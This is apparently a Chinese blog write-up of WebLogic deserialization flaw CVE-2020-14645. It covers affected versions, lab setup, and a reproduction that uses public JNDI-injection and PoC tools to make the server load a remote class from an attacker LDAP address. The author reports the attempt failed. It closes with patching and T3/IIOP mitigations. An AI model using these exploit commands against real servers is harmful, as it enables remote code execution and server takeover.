漏洞介绍
今日,Oracle官方发布WebLogic安全更新,其中修复了一个CVSS评分为9.8的严重漏洞(CVE-2020-14645),该漏洞通过T3协议进行利用,攻击者可以实现远程代码执行,进而控制服务器。由于漏洞利用复杂度低,风险高,建议尽快修复。
WebLogic是美国Oracle公司出品的一个application server,是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。Oracle WebLogic Server存在远程代码执行漏洞。
攻击者可利用该漏洞实现远程代码执行。该反序列化的gadget存在与coherence包中。编号CVE-2020-14645。
构造chain类似于common-collection的chain,可以照葫芦画瓢。
mvn 好像不能下载coherence包,很奇怪,直接下jar包就行。
反序列化的对象,通过t3发送给weblogic即可。所以,这个只是生成payload的工具。
影响范围
- Oracle Oracle WebLogic Server 10.3.6.0.0
- Oracle WebLogic Server 12.2.1.4.0
- Oracle WebLogic Server 12.2.1.3.0
- Oracle WebLogic Server 12.1.3.0.0
- Oracle WebLogic Server 14.1.1.0.0
环境搭建
WebLogic 12.2.1.4官方下载链接:
1 | https://download.oracle.com/otn/nt/middleware/12c/122140/fmw_12.2.1.4.0_wls_lite_Disk1_1of1.zip |
下载JDK 6u211/7u201/8u191任意版本并配置环境变量
1 | JDK8u191 |
用管理员权限打开CMD命令
1 | java -jar fmw_12.2.1.4.0_wls_lite_generic.jar |
全部点击下一步,勾选自主启动配置向导选项
创建新域并勾选所有模板,点击下一步至安装完成
安装成功后,跳到base_domain目录下
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain
运行startWebLogic.cmd
可访问7001端口(http://192.168.1.111:7001/console/login/LoginForm.jsp),说明环境部署成功
漏洞复现
JNDI工具下载地址
https://github.com/welk1n/JNDI-Injection-Exploit
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C [command] -A [address] |
使用JNDI工具搭建LDAP和HTTP服务,注意不能占用8180/1099/1389三个端口,修改要执行的命令后回车,会同时启动LDAP/RMI/HTTP三种服务,并且自动编译好带命令的class文件
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 192.168.1.236 |
使用CVE-2020-14645漏洞验证工具
https://github.com/DSO-Lab/Weblogic_CVE-2020-14645
1 | java -jar CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#Exploit http://192.168.1.111:7001 |
输入JNDI工具搭建LDAP地址和端口
1 | java -jar CVE-2020-14645.jar 192.168.1.236:1389/mcq0vt http://192.168.1.111:7001 |
输入命令请求LDAP服务,执行自动编译的class文件,成功弹出计算器(失败,无法弹出计算器)
PS:java版本<jdk 6u211/7u201/8u191,我用的是8u191,最后没有复现成功,通过本地测试发现报错如下:
原因是在更高版本的JDK环境中trustURLCodebase变量为false,限制了远程类的加载。
修复建议
1、官方修复方案
Oracle已经发布补丁修复了上述漏洞,请用户参考官方通告及时下载受影响产品更新补丁,并参照补丁安装包中的readme文件进行安装更新,以保证长期有效的防护。
注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。
2、临时解决方案
用户可通过控制T3协议的访问来临时阻断针对这些漏洞的攻击。操作方法如下:
1. 进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。
2. 在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,参考以下写法,在连接筛选器规则中配置符合企业实际情况的规则:
1 | 127.0.0.1 * * allow t3 t3s |
3. 保存后若规则未生效,建议重新启动WebLogic服务(重启WebLogic服务会导致业务中断,建议相关人员评估风险后,再进行操作)。
3、禁用IIOP协议。
可通过关闭 IIOP 协议对此漏洞进行缓解。操作如下:
在 Weblogic 控制台中,选择“服务”->”AdminServer”->”协议”,取消“启用 IIOP”的勾选。
并重启 Weblogic 项目,使配置生效。